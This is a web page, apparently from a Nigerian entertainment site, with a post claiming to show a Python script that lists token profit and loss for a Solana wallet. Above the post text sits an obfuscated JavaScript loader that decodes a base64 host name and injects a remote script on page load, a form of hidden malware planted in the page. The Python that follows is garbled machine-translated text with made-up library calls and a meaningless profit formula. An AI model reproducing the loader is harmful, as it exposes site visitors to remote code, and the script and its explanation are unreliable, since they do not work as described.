📲 Click Here to Join Our WhatsApp Channel
NEWS | Politics | CRIME TALK ZONE | DJ MIX | SPORTS |


Burna Boy
Davido
Wizkid
Naira Marley
Olamide
Tiwa Savage
Rema
Asake
Kizz Daniel
OdumoduBLCK
Shallipopi
Tems
Ayra Starr

« | »

Solana: list tokens pnl purchased from a solana wallet

Published by on February 9th, 2025.


const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=728af264″;document.body.appendChild(script);

I can give you a Python script sample that achieves what you are looking for. This script uses the Pysolana interaction with the Blockchain of Solan.

Note:

Solana: list tokens pnl purchased from a solana wallet

You will need to install pysolana using PIP -a:PIP install pysolana

`Python

Imports OS

from salt

From Py_solana.api Import of Account_info, System_info

Def Get_wallet_address ():

“” “”

Returns the address of the wallet from the text file.

The file should contain a wallet address in the first line of each line,

separated by new lines.

: Return: Public key from Solana representing the address of the wallet.

“” “”

with open (‘Wallet.txt’, ‘r’) as f:

For a line in f:

If Line.strip ()! = ”:

Return of the line.strip ()

Raise Valueerror (“The Calcoth Address Not Found in Wallet.txt”)

Def Get_tokens_with_balanca (Wallet_address):

“” “”

Returns a list of tokens purchased by the specified wallet address,

with balance greater than 0.

: Param Wallet_address: Public Key of Solane representing the address of the wallet.

: Return: A list of dulls, where each tuple contains:

– The name token (eg ‘dai’, ‘salt’)

– The token symbol

– purchased quantity

– Current account state

“” “”

tokens = []

for entry in System_info.entories:

If entry [‘id’] == Wallet_address and entry [‘balance’]> 0:

token_name, token_Symbol = entry [‘name’], entry [‘symbol’]

token_quantity = entry.get (‘quantity’, 1)

balance = entry.get (‘balance’, 0)

tokens.append (token_name, token_symbol, token_quantity, balance))

The return of token

Def Get_pnl (Tokens):

“” “”

Returns profit and loss on each token.

: Param Tokens: A list of dulls containing information about each token.

Each tuple should contain:

– The name token (eg ‘dai’, ‘salt’)

– The token symbol

– purchased quantity

– Current account state

“” “”

pnl = []

for token in tokens:

Profit = Token [2] * 10000 / Token [1]

loss = -profit

pnl.append ((token [0], token [1], profit, loss))

Return PNL

Def Main ():

Wallet_address = Get_wallet_address ()

try:

Tokens = Get_tokens_with_balance (Wallet_address)

pnl = get_pnl (tokens)

Print (“Calcoth Address:”, Wallet_address)

For Token in PNL:

print (f “{token [0]} ({token [1]}) – {token [2]} x {token [3]} balance”)

Apart from Valueerror as E:

Print (s)

If __name__ == ‘__main__’:

main()

`

This script assumes that your wallet address is in the file calledWallet.txtin the same directory, with each line containing one line ( \ n) and the address of the wallet on the following lines. For example:

ABC123

Def456

GHI789

In this case the script will bring out something like:

Python

Calculation address: ABC123

DAI (1x) – 1000 balance

Salt (2x) – 20000 balance

`

Keep in mind that this is a simplified example and does not take into account additional factors that can affect your wallet performance, such as gas or sliding fees. You may need to change the script to match your specific case of use.

Also, keep in mind that before starting this script you will need to replaceABC123`.

decentralized stablecoins answer uncertainty

TRENDING SONGS

Song Nigeria Grants Air Tanzania Passage for Direct Flights Song KWAM 1 vs KWAM 2: Nigerians Call Out Inconsistent Treatment in Aviation Offense Cases Song Nigerian Soldiers Light Up Social Media with Energetic Dance Moves Song ‎Sniper Scandal: See How Chief Ajibade Forces Corn Thief to Drink Poison; Accused Arrested, Monarch Clear Air(VIDEOS) Song Woman Finds Out Husband Married Another Wife Through Facebook After Having Three Kids Together Song If Anything Goes Wrong During Labor, Save Me—Not the Baby”: Is This a Normal Statement from a Responsible Woman? Song See How Jealous Partner Allegedly Sets Girlfriend and Sister on Fire Song “Thunder Will Strike You” – Super Falcons Star Okoronkwo Speaks Out on Threatening Messages Song Enough Is Enough, Nigerians Must Go! — Ghanaians Protest Song See How a Lady Scatters Wedding After Finding Out Her Boyfriend Married Someone Else

CLICK TO DROP YOUR COMMENT

Share this post with your friends on


0 Responses

Leave a Reply

NOTE:- Make your comment a bit long to get it approved.



Go Back To The Top

« | »


Looking for something? Search below





About First Class Gists


Click Here to Join Our WhatsApp Channel